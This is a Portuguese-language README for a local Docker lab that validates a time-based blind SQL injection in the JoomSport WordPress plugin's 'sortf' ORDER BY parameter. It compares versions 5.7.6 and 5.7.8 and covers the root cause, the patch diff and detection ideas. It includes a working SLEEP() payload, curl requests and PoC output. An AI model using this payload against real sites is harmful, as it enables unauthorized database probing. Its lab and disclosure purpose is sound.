Este laboratório valida a vulnerabilidade como uma injeção SQL cega baseada em tempo. Ele não realiza dumping de banco de dados, extração de credenciais, modificação de dados ou operações SQL destrutivas.

Este laboratório foi projetado apenas para pesquisa local controlada, compreensão em nível de código-fonte e demonstração de portfólio.

## Fatos Verificados

| Alegação | Evidência | Como verificar neste laboratório |
| --- | --- | --- |
| JoomSport anterior à versão 5.7.8 é relatado como vulnerável a injeção SQL não autenticada. | Advisories públicos identificam JoomSport `< 5.7.8` / `<= 5.7.7` como afetados. | Revise a seção References e compare os serviços vulnerável/corrigido. |
| JoomSport 5.7.8 é a versão corrigida. | Advisories públicos e comparação de código-fonte mostram que a versão 5.7.8 valida o valor de `sortf` antes de construir a expressão de ordenação. | Inspecione `class-jsport-playerlist.php` em ambas as versões. |
| O parâmetro afetado é `sortf`. | O código vulnerável da lista de jogadores lê `classJsportRequest::get('sortf')`. | Execute o PoC e observe a requisição `sortf` injetada. |
| O código vulnerável constrói um valor de ordenação SQL dinâmico a partir da entrada do usuário. | Na versão vulnerável, `sortf` é usado para construir `$options['ordering']`. | Inspecione `sportleague/classes/objects/class-jsport-playerlist.php`. |
| O sink SQL é uma cláusula `ORDER BY`. | O valor `$ordering` gerado é posteriormente anexado a uma consulta SQL com `ORDER BY`. | Inspecione `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| A correção usa uma correção no estilo de allowlist. | A versão corrigida introduz colunas estáticas permitidas e padrões esperados de campos dinâmicos antes de usar o campo de ordenação. | Compare o código-fonte do JoomSport 5.7.6 e 5.7.8. |
| O laboratório demonstra injeção SQL cega baseada em tempo. | O alvo vulnerável atrasa quando uma expressão `SLEEP()` injetada é usada; o alvo corrigido não atrasa. | Execute `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |

## Premissas e Incógnitas

Este laboratório usa o JoomSport 5.7.6 como alvo vulnerável de comparação porque a versão pública corrigida é a 5.7.8 e uma tag de código-fonte 5.7.7 não estava disponível na listagem de tags SVN do plugin no WordPress.org quando o laboratório foi preparado.

O laboratório não afirma que 5.7.6 é a única versão vulnerável. Ele é usado como uma linha de base vulnerável reproduzível para comparar o comportamento vulnerável com o comportamento da versão corrigida 5.7.8.

O laboratório se concentra no parâmetro `sortf` no fluxo de ordenação da lista de jogadores.

O impacto demonstrado é injeção SQL cega baseada em tempo. O laboratório não demonstra:

* dumping direto de banco de dados,
* extração de credenciais,
* bypass de autenticação,
* escalonamento de privilégios,
* modificação arbitrária de dados,
* execução remota de código,
* persistência,
* callbacks externos,
* ou ataques contra sistemas fora do laboratório.

Comportamento baseado em erro ou booleano pode ser possível dependendo do comportamento do banco de dados, da configuração da aplicação e das diferenças de resposta, mas este laboratório não se baseia nessas técnicas. A prova principal é baseada em tempo.

## Resumo da Causa Raiz

A causa raiz é a construção insegura de uma cláusula SQL `ORDER BY` dinâmica a partir do parâmetro de requisição `sortf`.

O caminho do código vulnerável começa em:```text
sportleague/classes/objects/class-jsport-playerlist.php

e usa-o para construir:```text
$options['ordering']

O problema não é principalmente o parâmetro `sortd`. O valor de `sortd` é restrito a:```text
ASC
DESC

O código coloca a entrada controlada pelo atacante dentro de um contexto de identificador MySQL e então a passa adiante como um fragmento de ordenação SQL.

O código aplica:```php
sanitize_text_field()

O padrão de sink é:```php
$query .= ' ORDER BY '.($ordering);

O problema de segurança é que a aplicação trata um parâmetro de requisição controlado pelo usuário como um identificador/expressão SQL sem antes validá-lo contra uma allowlist rigorosa.

## Resumo do Patch de Origem

O patch relevante está em:```text
sportleague/classes/objects/class-jsport-playerlist.php

A parte vulnerável é que `classJsportRequest::get('sortf')` é usado dentro da expressão de ordenação SQL.

O JoomSport 5.7.8 muda esse comportamento introduzindo uma variável de campo de ordenação validada antes de construir `$options['ordering']`.

A versão corrigida inicializa um padrão seguro:```php
$sortFieldEsc = 'post_title';

Quando `sortf` está presente, o código corrigido só o aceita se corresponder a um dos valores estáticos esperados:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

A alteração final relevante para a segurança é que `$options['ordering']` é construído a partir de `$sortFieldEsc` em vez do valor bruto da requisição `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Após o patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

o código corrigido não atribui esse valor a `$sortFieldEsc`.

Em vez disso, o campo de ordenação recorre a:```text
post_title

## Arquitetura do Laboratório

O laboratório executa duas instalações WordPress isoladas através do Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

O processo de configuração cria dados mínimos do JoomSport necessários para renderizar a rota da lista de jogadores:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

## Início Rápido

Inicie o laboratório:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Mensagens esperadas de conclusão da configuração:```text
[VULN] setup complete
[PATCHED] setup complete

Serviços expostos esperados:```text
http://localhost:8081
http://localhost:8082

Execute o PoC contra o alvo corrigido:```bash
python3 poc/poc.py http://localhost:8082

Para estatísticas de tempo mais estáveis, aumente o número de rodadas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

## Uso do PoC

O PoC verifica cada alvo de forma independente.

Não requer mais opções separadas `--vuln-url` ou `--patched-url`. Em vez disso, passe uma ou mais URLs de destino como argumentos posicionais:```bash
python3 poc/poc.py <target_url> [target_url...]

Se nenhuma URL de destino for fornecida, o script solicita interativamente uma ou mais URLs de destino locais.

Opções suportadas:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

O PoC recusa alvos não locais por padrão.

## Como o PoC Decide

Para cada alvo, o PoC executa duas séries de temporização:```text
[1/2] Baseline timing
[2/2] Injected timing

A solicitação injetada utiliza um payload de temporização somente local no parâmetro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

| Verdicto          | Significado                                                    |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | A requisição injetada é significativamente mais lenta que a linha de base. |
| `PATCHED-LIKE`    | A requisição injetada permanece próxima da linha de base.      |
| `UNREACHABLE`     | O alvo não pôde ser alcançado.                                 |
| `INCONCLUSIVE`    | Alguns dados de temporização estavam ausentes ou incompletos.  |

Regra de decisão padrão:```text
injected median - baseline median >= 60% of requested SLEEP()

Isso significa que um alvo só é relatado como `VULNERABLE-LIKE` quando a requisição injetada é claramente mais lenta que a sua própria linha de base.

Alvos inacessíveis ou inconclusivos não são contados como corrigidos.

## Reprodução Manual de HTTP com curl

Você pode reproduzir a validação manualmente sem usar o PoC em Python.

Requisição de linha de base vulnerável:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Solicitação de baseline corrigida:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Comparação esperada:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Sinal vulnerável esperado:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

### Alvo Corrigido

Comando:```bash
python3 poc/poc.py http://localhost:8082

### Múltiplos Alvos

Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

### Alvo Inacessível

Se um alvo não estiver em execução, o PoC deve reportar `UNREACHABLE`, e não `PATCHED-LIKE`.

Exemplo:```bash
python3 poc/poc.py http://localhost:8083

Alvos inalcançáveis não são contados como corrigidos.

## Como o PoC Funciona

O PoC sonda a rota de lista de jogadores do JoomSport em busca de uma postagem de temporada semeada.

A rota alvo é equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

Isso deve produzir a ordenação normal da lista de jogadores.

A requisição injetada usa:```text
sortf=post_title`DESC,(SLEEP(2))#

O marcador de comentário `#` impede que a crase final e a direção interfiram na expressão injetada.

Este não é um payload de consulta empilhada. Ele não injeta:```sql
; SELECT SLEEP(2);

Características suspeitas do `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Expected vulnerable signal:```text
HTTP 200 response with significant timing delay

Possíveis ideias de monitoramento em produção:

* Revise os logs de acesso web em busca de valores incomuns de `sortf`.
* Alerte sobre palavras-chave SQL ou marcadores de comentário dentro de parâmetros de ordenação.
* Monitore solicitações repetidas às rotas de lista de jogadores do JoomSport com pequenas alterações de parâmetros.
* Monitore consultas de banco de dados lentas envolvendo tabelas de lista de jogadores do JoomSport.
* Correlacione solicitações lentas com tráfego público não autenticado.
* Revise se o JoomSport está instalado e se sua versão é anterior à 5.7.8.

## Notas de Mitigação e Patch

Atualize o JoomSport para 5.7.8 ou posterior.

A versão corrigida restringe o parâmetro `sortf` aos campos de ordenação esperados e aos padrões de campos dinâmicos. Valores inesperados revertem para um campo de ordenação padrão seguro.

Orientação de mitigação em nível de aplicação:

* Atualize o plugin JoomSport.
* Não exponha versões desatualizadas de plugins em sites WordPress públicos.
* Revise os logs web em busca de parâmetros `sortf` suspeitos.
* Desative ou restrinja a funcionalidade afetada somente como mitigação temporária se a atualização imediata não for possível.
* Use uma regra de Web Application Firewall como camada temporária, não como substituta da aplicação de patches.
* Trate identificadores SQL dinâmicos de forma diferente dos valores normais: use listas de permissões para nomes de colunas, nomes de tabelas, direções de ordenação e componentes semelhantes de sintaxe SQL.

O controle mais importante é a lista de permissões. Somente o escape não é uma correção completa para identificadores SQL dinâmicos.

## Comandos Úteis de Verificação

Verifique os contêineres em execução:```bash
docker compose ps

Verifique os serviços WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Execute o PoC contra o serviço corrigido:```bash
python3 poc/poc.py http://localhost:8082

Rode a PoC com mais rodadas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Verifique as versões de plugins dentro do WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Inspecione o código-fonte corrigido:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

## Limpeza

Pare e remova os contêineres e as redes:```bash
docker compose down --remove-orphans

Remova os arquivos de evidência se criados:```bash
rm -rf evidence/

O PoC não inclui payloads para dump de banco de dados, roubo de credenciais, modificação de dados, persistência, movimento lateral ou callbacks externos.

O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version